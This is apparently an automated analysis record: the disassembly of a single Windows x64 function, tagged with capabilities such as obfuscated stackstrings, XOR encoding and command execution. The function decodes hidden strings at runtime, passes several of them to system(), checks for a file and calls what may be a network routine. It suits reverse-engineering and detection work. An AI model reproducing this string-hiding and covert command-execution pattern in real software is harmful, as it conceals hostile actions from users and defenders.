Function at 0x140003260
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x14007b178]
xor rax, rsp
mov qword [rbp + 0x78], rax
call fcn.140003f80
mov r8, rax
mov r12, 0xffffffffffffffff
cmp byte [rax + 0x90], 0
je 0x1400032ff
lea rdx, [rax + 1]
mov r9, r12
sub r9, rax
movabs r10, 0x8169c98f0b5dc5f7
nop
lea ecx, [rdx + r9]
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx - 1], al
movzx ecx, dl
sub cl, r8b
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx], al
add rdx, 2
lea rax, [r9 + rdx]
cmp rax, 0x90
jb 0x1400032c0
mov byte [r8 + 0x90], 0
mov rcx, r8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword gs:[0x58]
mov r14, qword [rax]
mov ecx, 0x138
mov eax, dword [rcx + r14]
mov ebx, 0x2ec
add rbx, r14
test al, 1
jne 0x14000334c
or eax, 1
mov dword [rcx + r14], eax
mov word [rbx + 3], 0x1c7
mov word [rbx], 0xcff8
mov byte [rbx + 2], 0x46
lea rcx, [0x14005d340]
call fcn.140059740
nop
cmp byte [rbx + 4], 0
je 0x140003365
xor byte [rbx], 0x9b
xor byte [rbx + 1], 0xa3
xor byte [rbx + 2], 0x35
xor byte [rbx + 3], 0xc7
mov byte [rbx + 4], 0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp + 0x58], xmm0
movdqa xmm1, xmmword [0x1400679b0]
movdqu xmmword [rbp + 0x68], xmm1
mov byte [rbp + 0x58], 0
movups xmmword [rbp - 0x50], xmm0
xor r15d, r15d
mov qword [rbp - 0x40], r15
mov ecx, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x38], rcx
mov byte [rbp - 0x50], r15b
movdqa xmm0, xmmword [0x140067a40]
mov dword [rbp - 0x20], 0x4da881cc
mov dword [rbp - 0x1c], 0xbfe59f8e
mov word [rbp - 0x18], 0xb1c5
mov edx, 0x170
mov eax, dword [rdx + r14]
mov r8d, 0x278
test al, 1
jne 0x140003431
or eax, 1
mov dword [rdx + r14], eax
lea rdi, [r14 + r8]
mov byte [rdi + 0x1a], 1
lea rax, [rdi + 0x19]
lea rcx, [rbp - 0x17]
cmp rdi, rcx
ja 0x140003409
lea rcx, [rbp - 0x30]
cmp rax, rcx
jb 0x140003409
movups xmmword [rdi], xmm0
movsd xmm0, qword [rbp - 0x20]
movsd qword [rdi + 0x10], xmm0
movzx eax, word [rbp - 0x18]
mov word [rdi + 0x18], ax
jmp 0x14000341e
movups xmmword [rdi], xmm0
movsd xmm0, qword [rbp - 0x20]
movsd qword [rdi + 0x10], xmm0
movzx eax, word [rbp - 0x18]
mov word [rdi + 0x18], ax
lea rcx, [0x14005d310]
call fcn.140059740
nop
mov rcx, qword [rbp - 0x38]
jmp 0x140003435
lea rdi, [r14 + r8]
cmp byte [rdi + 0x1a], 0
je 0x1400034a6
xor byte [rdi], 0xa9
xor byte [rdi + 1], 0xb1
xor byte [rdi + 2], 0x99
xor byte [rdi + 3], 0x7d
xor byte [rdi + 4], 0xbf
xor byte [rdi + 5], 0xb1
xor byte [rdi + 6], 0x81
xor byte [rdi + 7], 0xd3
xor byte [rdi + 8], 0xa9
xor byte [rdi + 9], 0xb1
xor byte [rdi + 0xa], 0x99
xor byte [rdi + 0xb], 0x7d
xor byte [rdi + 0xc], 0xbf
xor byte [rdi + 0xd], 0xb1
xor byte [rdi + 0xe], 0x81
xor byte [rdi + 0xf], 0xd3
xor byte [rdi + 0x10], 0xa9
xor byte [rdi + 0x11], 0xb1
xor byte [rdi + 0x12], 0x99
xor byte [rdi + 0x13], 0x7d
xor byte [rdi + 0x14], 0xbf
xor byte [rdi + 0x15], 0xb1
xor byte [rdi + 0x16], 0x81
xor byte [rdi + 0x17], 0xd3
xor byte [rdi + 0x18], 0xa9
xor byte [rdi + 0x19], 0xb1
mov byte [rdi + 0x1a], 0
mov rsi, r12
nop dword [rax]
inc rsi
cmp byte [rdi + rsi], 0
jne 0x1400034b0
cmp rsi, rcx
ja 0x1400034e3
lea rbx, [rbp - 0x50]
cmp rcx, 0x10
cmovae rbx, qword [rbp - 0x50]
mov qword [rbp - 0x40], rsi
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rsi], 0
jmp 0x1400034f5
mov r9, rdi
xor r8d, r8d
mov rdx, rsi
lea rcx, [rbp - 0x50]
call fcn.14000a650
mov dword [rbp - 0x76], 0x34003469
mov cl, 0x34
mov dword [rbp - 0x7a], 0x14514c51
mov dword [rbp - 0x7e], 0x1a474751
mov dword [rsp + 0x7e], 0x575b4664
mov dword [rsp + 0x7a], 0x7560736b
mov dword [rsp + 0x76], 0xd0d0206
mov dword [rsp + 0x72], 0x566b7951
mov dword [rsp + 0x6e], 0x425d7214
mov dword [rsp + 0x6a], 0x6f144755
mov dword [rsp + 0x66], 0x145c5741
mov dword [rsp + 0x62], 0x47145159
mov dword [rsp + 0x5e], 0x55531447
mov dword [rsp + 0x5a], 0x4751575b
mov word [rsp + 0x58], 0x4644
lea rax, [rsp + 0x58]
nop dword [rax + rax]
xor byte [rax], cl
inc rax
lea rcx, [rbp - 0x74]
cmp rax, rcx
je 0x140003584
movzx ecx, byte [rbp - 0x73]
jmp 0x140003570
mov byte [rbp - 0x74], 1
mov dword [rsp + 0x3a], 0x4000424
mov cl, 4
mov word [rsp + 0x38], 0x5924
lea rax, [rsp + 0x38]
nop
xor byte [rax], cl
inc rax
lea rcx, [rsp + 0x3c]
cmp rax, rcx
je 0x1400035b6
movzx ecx, byte [rsp + 0x3d]
jmp 0x1400035a0
mov byte [rsp + 0x3c], 1
mov dword [rsp + 0x20], 0x2000229
mov cl, 2
lea rax, [rsp + 0x20]
nop word [rax + rax]
xor byte [rax], cl
inc rax
lea rcx, [rsp + 0x22]
cmp rax, rcx
je 0x1400035e6
movzx ecx, byte [rsp + 0x23]
jmp 0x1400035d0
mov byte [rsp + 0x22], 1
mov dword [rsp + 0x29], 0x3000323
mov cl, 3
mov byte [rsp + 0x28], 0x58
lea rax, [rsp + 0x28]
nop
xor byte [rax], cl
inc rax
lea rcx, [rsp + 0x2b]
cmp rax, rcx
je 0x140003616
movzx ecx, byte [rsp + 0x2c]
jmp 0x140003600
mov byte [rsp + 0x2b], 1
lea rdx, [rsp + 0x28]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009b90
mov rcx, rax
lea rdx, [0x140002640]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [rsp + 0x20]
call fcn.140009b90
mov rcx, rax
lea rdx, [0x1400026b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [rsp + 0x38]
call fcn.140009b90
mov rcx, rax
lea rdx, [rsp + 0x58]
call fcn.140009b90
mov rcx, rax
lea rdx, [0x140009f30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x51], 0xb000b2b
mov cl, 0xb
mov dword [rsp + 0x4d], 0x312b7878
mov dword [rsp + 0x49], 0x6e686479
mov byte [rsp + 0x48], 0x7b
lea rax, [rsp + 0x48]
nop word [rax + rax]
xor byte [rax], cl
inc rax
lea rcx, [rsp + 0x53]
cmp rax, rcx
je 0x1400036c6
movzx ecx, byte [rsp + 0x54]
jmp 0x1400036b0
mov byte [rsp + 0x53], 1
mov dword [rsp + 0x42], 0x4000424
mov cl, 4
mov word [rsp + 0x40], 0x5924
lea rax, [rsp + 0x40]
xor byte [rax], cl
inc rax
lea rcx, [rsp + 0x44]
cmp rax, rcx
je 0x1400036f7
movzx ecx, byte [rsp + 0x45]
jmp 0x1400036e1
mov byte [rsp + 0x44], 1
mov dword [rsp + 0x24], 0x2000229
mov cl, 2
lea rax, [rsp + 0x24]
nop dword [rax + rax]
xor byte [rax], cl
inc rax
lea rcx, [rsp + 0x26]
cmp rax, rcx
je 0x140003726
movzx ecx, byte [rsp + 0x27]
jmp 0x140003710
mov byte [rsp + 0x26], 1
mov dword [rsp + 0x31], 0x3000323
mov cl, 3
mov byte [rsp + 0x30], 0x58
lea rax, [rsp + 0x30]
nop
xor byte [rax], cl
inc rax
lea rcx, [rsp + 0x33]
cmp rax, rcx
je 0x140003756
movzx ecx, byte [rsp + 0x34]
jmp 0x140003740
mov byte [rsp + 0x33], 1
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009b90
mov rcx, rax
lea rdx, [0x140002640]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [rsp + 0x24]
call fcn.140009b90
mov rcx, rax
lea rdx, [0x1400026b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [rsp + 0x40]
call fcn.140009b90
mov rcx, rax
lea rdx, [rsp + 0x48]
call fcn.140009b90
lea rdx, [rbp + 0x58]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140009f70
lea rcx, [0x14006786c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rsi, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rsi, qword [rbp - 0x50]
add rsi, qword [rbp - 0x40]
lea rdi, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rdi, qword [rbp - 0x50]
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
cmp rdi, rsi
jne 0x140003813
mov qword [rbp - 0x60], r15
mov eax, 7
mov qword [rbp - 0x58], rax
mov word [rbp - 0x70], r15w
jmp 0x140003924
mov rax, rsi
sub rax, rdi
mov rdx, r15
mov qword [rbp - 0x60], rdx
mov ebx, 7
mov qword [rbp - 0x58], rbx
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x140003f7a
cmp rax, 8
jb 0x1400038e0
mov rbx, rax
or rbx, 7
cmp rbx, rcx
jbe 0x140003857
mov rbx, rcx
jmp 0x140003863
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
mov rax, rbx
add rax, 1
cmovb rax, r12
movabs rcx, 0x7fffffffffffffff
cmp rax, rcx
ja 0x140003f74
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x1400038c1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003f74
mov rcx, rax
call fcn.1400593d8
mov rcx, rax
test rax, rax
je 0x140003e9e
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov rdx, qword [rbp - 0x60]
jmp 0x1400038d4
test rcx, rcx
je 0x1400038d1
call fcn.1400593d8
mov rdx, qword [rbp - 0x60]
jmp 0x1400038d4
mov rax, r15
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x58], rbx
nop dword [rax]
lea rcx, [rbp - 0x70]
cmp rbx, 8
cmovae rcx, qword [rbp - 0x70]
movsx eax, byte [rdi]
mov word [rcx + rdx*2], ax
mov rdx, qword [rbp - 0x60]
inc rdx
mov qword [rbp - 0x60], rdx
inc rdi
cmp rdi, rsi
je 0x14000390d
mov rbx, qword [rbp - 0x58]
jmp 0x1400038e0
lea rax, [rbp - 0x70]
cmp qword [rbp - 0x58], 8
cmovae rax, qword [rbp - 0x70]
mov word [rax + rdx*2], r15w
mov rax, qword [rbp - 0x58]
lea rcx, [rbp - 0x70]
cmp rax, 8
cmovae rcx, qword [rbp - 0x70]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x140003a4b
movdqa xmm0, xmmword [0x140067af0]
mov dword [rbp + 0x20], 0xa57a9b3d
mov dword [rbp + 0x24], 0x9657249e
mov ecx, 0x294
mov eax, dword [rcx + r14]
mov edx, 0x308
test al, 1
jne 0x1400039bf
or eax, 1
mov dword [rcx + r14], eax
lea rbx, [rdx + r14]
mov byte [rbx + 0x19], 1
lea rax, [rbx + 0x18]
lea rcx, [rbp + 0x28]
cmp rbx, rcx
ja 0x14000399f
lea rcx, [rbp + 0x10]
cmp rax, rcx
jb 0x14000399f
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x20]
movsd qword [rbx + 0x10], xmm0
mov byte [rbx + 0x18], 0x69
jmp 0x1400039b0
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x20]
movsd qword [rbx + 0x10], xmm0
mov byte [rbx + 0x18], 0x69
lea rcx, [0x14005d2e0]
call fcn.140059740
nop
jmp 0x1400039c3
lea rbx, [r14 + rdx]
cmp byte [rbx + 0x19], 0
je 0x140003a30
xor byte [rbx], 0x69
xor byte [rbx + 1], 0xbb
xor byte [rbx + 2], 0x1f
xor byte [rbx + 3], 0xdd
xor byte [rbx + 4], 0xf7
xor byte [rbx + 5], 0x57
xor byte [rbx + 6], 0x23
xor byte [rbx + 7], 0xb7
xor byte [rbx + 8], 0x69
xor byte [rbx + 9], 0xbb
xor byte [rbx + 0xa], 0x1f
xor byte [rbx + 0xb], 0xdd
xor byte [rbx + 0xc], 0xf7
xor byte [rbx + 0xd], 0x57
xor byte [rbx + 0xe], 0x23
xor byte [rbx + 0xf], 0xb7
xor byte [rbx + 0x10], 0x69
xor byte [rbx + 0x11], 0xbb
xor byte [rbx + 0x12], 0x1f
xor byte [rbx + 0x13], 0xdd
xor byte [rbx + 0x14], 0xf7
xor byte [rbx + 0x15], 0x57
xor byte [rbx + 0x16], 0x23
xor byte [rbx + 0x17], 0xb7
xor byte [rbx + 0x18], 0x69
mov byte [rbx + 0x19], 0
lea rdx, str.___
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009b90
mov rcx, rbx
call fcn.140001330
lea rcx, [rbp + 0x58]
cmp qword [rbp + 0x70], 0x10
cmovae rcx, qword [rbp + 0x58]
mov edx, recv
call fcn.140002720
test eax, eax
jne 0x140003de7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
movdqa xmm0, xmmword [0x1400679f0]
mov dword [rbp], 0x91d3517
mov dword [rbp + 4], 0x515b4a4d
mov word [rbp + 8], 0x1f5a
mov ecx, 0x328
mov eax, dword [rcx + r14]
mov edx, 0x298
test al, 1
jne 0x140003b09
or eax, 1
mov dword [rcx + r14], eax
lea rbx, [rdx + r14]
mov byte [rbx + 0x1b], 1
lea rax, [rbx + 0x1a]
lea rcx, [rbp + 0xa]
cmp rbx, rcx
ja 0x140003ae1
lea rcx, [rbp - 0x10]
cmp rax, rcx
jb 0x140003ae1
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp]
movsd qword [rbx + 0x10], xmm0
movzx eax, word [rbp + 8]
mov word [rbx + 0x18], ax
mov byte [rbx + 0x1a], 0x35
jmp 0x140003afa
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp]
movsd qword [rbx + 0x10], xmm0
movzx eax, word [rbp + 8]
mov word [rbx + 0x18], ax
mov byte [rbx + 0x1a], 0x35
lea rcx, [0x14005d2b0]
call fcn.140059740
nop
jmp 0x140003b0d
lea rbx, [r14 + rdx]
cmp byte [rbx + 0x1b], 0
je 0x140003b82
xor byte [rbx], 0x73
xor byte [rbx + 1], 0x15
xor byte [rbx + 2], 0x35
xor byte [rbx + 3], 0x39
xor byte [rbx + 4], 0x35
xor byte [rbx + 5], 0x6f
xor byte [rbx + 6], 0x37
xor byte [rbx + 7], 9
xor byte [rbx + 8], 0x73
xor byte [rbx + 9], 0x15
xor byte [rbx + 0xa], 0x35
xor byte [rbx + 0xb], 0x39
xor byte [rbx + 0xc], 0x35
xor byte [rbx + 0xd], 0x6f
xor byte [rbx + 0xe], 0x37
xor byte [rbx + 0xf], 9
xor byte [rbx + 0x10], 0x73
xor byte [rbx + 0x11], 0x15
xor byte [rbx + 0x12], 0x35
xor byte [rbx + 0x13], 0x39
xor byte [rbx + 0x14], 0x35
xor byte [rbx + 0x15], 0x6f
xor byte [rbx + 0x16], 0x37
xor byte [rbx + 0x17], 9
xor byte [rbx + 0x18], 0x73
xor byte [rbx + 0x19], 0x15
xor byte [rbx + 0x1a], 0x35
mov byte [rbx + 0x1b], 0
lea rdx, str.___
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009b90
mov edx, edi
mov rcx, rbx
call fcn.140001330
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
movdqa xmm0, xmmword [0x140067a10]
movdqa xmm1, xmmword [0x140067a00]
mov dword [rbp + 0x50], 0x3d56f84c
mov word [rbp + 0x54], 0xa3ad
mov ecx, 0x16c
mov eax, dword [rcx + r14]
mov edx, 0x140
test al, 1
jne 0x140003c36
or eax, 1
mov dword [rcx + r14], eax
lea rbx, [rdx + r14]
mov byte [rbx + 0x26], 1
lea rax, [rbx + 0x25]
lea rcx, [rbp + 0x55]
cmp rbx, rcx
ja 0x140003c12
lea rcx, [rbp + 0x30]
cmp rax, rcx
jb 0x140003c12
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
mov eax, dword [rbp + 0x50]
mov dword [rbx + 0x20], eax
movzx eax, word [rbp + 0x54]
mov word [rbx + 0x24], ax
jmp 0x140003c27
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
mov eax, dword [rbp + 0x50]
mov dword [rbx + 0x20], eax
movzx eax, word [rbp + 0x54]
mov word [rbx + 0x24], ax
lea rcx, [0x14005d280]
call fcn.140059740
nop
jmp 0x140003c3a
lea rbx, [r14 + rdx]
cmp byte [rbx + 0x26], 0
je 0x140003cdf
xor byte [rbx], 0x29
xor byte [rbx + 1], 0x8b
xor byte [rbx + 2], 0x25
xor byte [rbx + 3], 0x1d
xor byte [rbx + 4], 0xa7
xor byte [rbx + 5], 0xa3
xor byte [rbx + 6], 1
xor byte [rbx + 7], 0x13
xor byte [rbx + 8], 0x29
xor byte [rbx + 9], 0x8b
xor byte [rbx + 0xa], 0x25
xor byte [rbx + 0xb], 0x1d
xor byte [rbx + 0xc], 0xa7
xor byte [rbx + 0xd], 0xa3
xor byte [rbx + 0xe], 1
xor byte [rbx + 0xf], 0x13
xor byte [rbx + 0x10], 0x29
xor byte [rbx + 0x11], 0x8b
xor byte [rbx + 0x12], 0x25
xor byte [rbx + 0x13], 0x1d
xor byte [rbx + 0x14], 0xa7
xor byte [rbx + 0x15], 0xa3
xor byte [rbx + 0x16], 1
xor byte [rbx + 0x17], 0x13
xor byte [rbx + 0x18], 0x29
xor byte [rbx + 0x19], 0x8b
xor byte [rbx + 0x1a], 0x25
xor byte [rbx + 0x1b], 0x1d
xor byte [rbx + 0x1c], 0xa7
xor byte [rbx + 0x1d], 0xa3
xor byte [rbx + 0x1e], 1
xor byte [rbx + 0x1f], 0x13
xor byte [rbx + 0x20], 0x29
xor byte [rbx + 0x21], 0x8b
xor byte [rbx + 0x22], 0x25
xor byte [rbx + 0x23], 0x1d
xor byte [rbx + 0x24], 0xa7
xor byte [rbx + 0x25], 0xa3
mov byte [rbx + 0x26], 0
lea rdx, str.__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009b90
mov edx, edi
mov rcx, rbx
call fcn.140001330
mov ecx, 0xdac
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x2d8
mov eax, dword [rcx + r14]
mov edx, 0x19c
test al, 1
jne 0x140003d42
or eax, 1
mov dword [rcx + r14], eax
lea rbx, [rdx + r14]
mov word [rbx + 3], 0x155
mov word [rbx], 0x2392
mov byte [rbx + 2], 0xf8
lea rcx, [0x14005d260]
call fcn.140059740
nop
jmp 0x140003d46
lea rbx, [r14 + rdx]
cmp byte [rbx + 4], 0
je 0x140003d5f
xor byte [rbx], 0xf1
xor byte [rbx + 1], 0x4f
xor byte [rbx + 2], 0x8b
xor byte [rbx + 3], 0x55
mov byte [rbx + 4], 0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32c
mov eax, dword [rcx + r14]
mov edx, 0x178
test al, 1
jne 0x140003da7
or eax, 1
mov dword [rcx + r14], eax
lea rbx, [r14 + rdx]
mov dword [rbx + 6], 0x137c9d2
mov dword [rbx], 0xa1a43c44
mov word [rbx + 4], 0xeb7f
lea rcx, [0x14005d240]
call fcn.140059740
nop
jmp 0x140003dab
lea rbx, [r14 + rdx]
cmp byte [rbx + 9], 0
je 0x140003dd8
xor byte [rbx], 0x37
xor byte [rbx + 1], 0x57
xor byte [rbx + 2], 0xcd
xor byte [rbx + 3], 0xcf
xor byte [rbx + 4], 0x15
xor byte [rbx + 5], 0x89
xor byte [rbx + 6], 0xbb
xor byte [rbx + 7], 0xbb
xor byte [rbx + 8], 0x37
mov byte [rbx + 9], 0
mov edx, 0x539
mov rcx, rbx
call fcn.140002720
jmp 0x140003dfc
lea r8, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae r8, qword [rbp - 0x50]
mov ecx, eax
call fcn.140002a10
mov ecx, 0x300
mov eax, dword [rcx + r14]
mov edx, 0x2e4
test al, 1
jne 0x140003e38
or eax, 1
mov dword [rcx + r14], eax
lea rbx, [r14 + rdx]
mov word [rbx + 5], 0x16f
mov dword [rbx], 0xc6a4e8cd
mov byte [rbx + 4], 0x3e
lea rcx, [0x14005d220]
call fcn.140059740
nop
jmp 0x140003e3c
lea rbx, [r14 + rdx]
cmp byte [rbx + 6], 0
je 0x140003e5d
xor byte [rbx], 0xbd
xor byte [rbx + 1], 0x89
xor byte [rbx + 2], 0xd1
xor byte [rbx + 3], 0xb5
xor byte [rbx + 4], 0x5b
xor byte [rbx + 5], 0x6f
mov byte [rbx + 6], 0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 8
jb 0x140003eaa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003ea5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003ea5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140059664
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r15w
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x140003ef9
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003ef4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003ef4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140059664
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp + 0x70]
cmp rdx, 0x10
jb 0x140003f47
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003f42
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003f42
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140059664
mov rcx, qword [rbp + 0x78]
xor rcx, rsp
call fcn.140059350
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140001eb0
nop
call fcn.140001f50
int3